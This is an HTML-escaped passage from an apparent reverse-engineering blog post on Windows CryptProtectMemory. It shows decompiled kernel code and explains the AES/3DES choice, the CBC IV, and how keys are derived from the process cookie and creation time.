&lt;code&gt;CRYPTPROTECTMEMORY_SAME_PROCESS&lt;/code&gt;, or simply when decrypting memory). The value of these two flags depends on the ioctl code. In &lt;code&gt;SystemFunction040&lt;/code&gt;, the memory is being encrypted, so &lt;code&gt;OperationIsEncryption&lt;/code&gt; is equals to &lt;code&gt;1&lt;/code&gt;, and &lt;code&gt;CipherType&lt;/code&gt; has a value of &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;CngEncryptMemoryEx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;undefined&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;OutputBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OperationIsEncryption&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OperationType&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;UseAES&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;UseAES&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nf&#34;&gt;LogError&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TypeOfOperation&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;Cookie&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;status&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;ZwQueryInformationProcess&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;GetCurrentProcess&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(),&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x24&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Cookie&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;status&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nf&#34;&gt;DebugTraceError&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;status&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Status&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;onecore&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;ds&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;security&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;cryptoapi&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;ncrypt&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;crypt&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;kernel&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;encmem.cxx&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;goto&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;CurrentEprocess&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;PsGetCurrentProcess&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;CurrentProcessCreateTime&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;PsGetProcessCreateTimeQuadPart&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CurrentEprocess&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;KeyData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Cookie&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Cookie&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;KeyData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CreateTime&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CurrentProcessCreateTime&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;Iv&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;RandomSalt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;UseAES&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nf&#34;&gt;GenerateAESKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;aesKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KeyData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;sizeof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KeyData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;OperationIsEncryption&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;nf&#34;&gt;SymCryptAesCbcDecrypt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AesKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Iv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OutputBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OutputBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BufferLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;nf&#34;&gt;SymCryptAesCbcEncrypt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AesKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Iv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OutputBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OutputBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BufferLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nf&#34;&gt;GenerateKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DesKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KeyData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;sizeof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KeyData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;OperationIsEncryption&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;nf&#34;&gt;SymCryptCbcDecrypt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;SymCrypt3DesBlockCipher_default&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DesKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Iv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OutputBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OutputBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BufferLength&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;nf&#34;&gt;SymCryptCbcEncrypt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;SymCrypt3DesBlockCipher_default&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;desKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Iv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OutputBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OutputBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BufferLength&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is where the actual encryption happens. Something interesting to note is that although the &lt;a href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectmemory#parameters&#34;&gt;documentation&lt;/a&gt; states that &lt;code&gt;The number of bytes must be a multiple of the CRYPTPROTECTMEMORY_BLOCK_SIZE constant&lt;/code&gt;, which is equal to &lt;code&gt;0x10&lt;/code&gt;, however, if the length is only a multiple of &lt;code&gt;8&lt;/code&gt;, it is still accepted (probably for backward compatibility). If that&amp;rsquo;s the case, the cipher used will be different.&lt;/p&gt;&#xA;&lt;p&gt;If the length is a multiple of &lt;code&gt;CRYPTPROTECTMEMORY_BLOCK_SIZE&lt;/code&gt;, &lt;code&gt;AES128&lt;/code&gt; will be used, else, it will be &lt;code&gt;3DES&lt;/code&gt;. This makes sense as the block size of &lt;code&gt;AES128&lt;/code&gt; is &lt;code&gt;0x10&lt;/code&gt; bytes, and &lt;code&gt;8&lt;/code&gt; bytes for &lt;code&gt;3DES&lt;/code&gt;. The library used for encryption is &lt;a href=&#34;https://github.com/microsoft/SymCrypt&#34;&gt;SymCrypt&lt;/a&gt;, an open-source library. Both ciphers use the CBC mode of operation.&lt;/p&gt;&#xA;&lt;p&gt;In both cases, the initialization vector used by the CBC mode is a global variable, &lt;code&gt;cng!RandomSalt&lt;/code&gt; (but only half of the data is used with &lt;code&gt;3DES&lt;/code&gt; since the block size is only &lt;code&gt;64&lt;/code&gt; bits).&lt;/p&gt;&#xA;&lt;p&gt;Depending on the cipher, the key is generated using the &lt;code&gt;GenerateAESKey&lt;/code&gt; and &lt;code&gt;GenerateKey&lt;/code&gt;, for &lt;code&gt;AES&lt;/code&gt; and &lt;code&gt;3DES&lt;/code&gt;, respectively. In both cases, a struct containing both the process creation time and the process &lt;code&gt;Cookie&lt;/code&gt; (a randomly generated value stored in the &lt;code&gt;EPROCESS&lt;/code&gt; structure associated with the current process) is given as an argument.&lt;/p&gt;&#xA;&lt;p&gt;Now, the only thing missing, to fully understand the encryption process, is to find out how symmetric keys are derived from those two values.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start with &lt;code&gt;GenerateAESKey&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;GenerateAESKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_SYMCRYPT_AES_EXPANDED_KEY&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ResultAesKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KeyInput&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KeyData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ulong&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;memcpy&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ShaState&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;g_ShaHash&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;sizeof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SYMCRYPT_SHA1_STATE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;SymCryptSha1Append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ShaState&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KeyData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;SymCryptSha1Result&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ShaState&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ShaHash&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;SymCryptAesExpandKeyInternal&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span 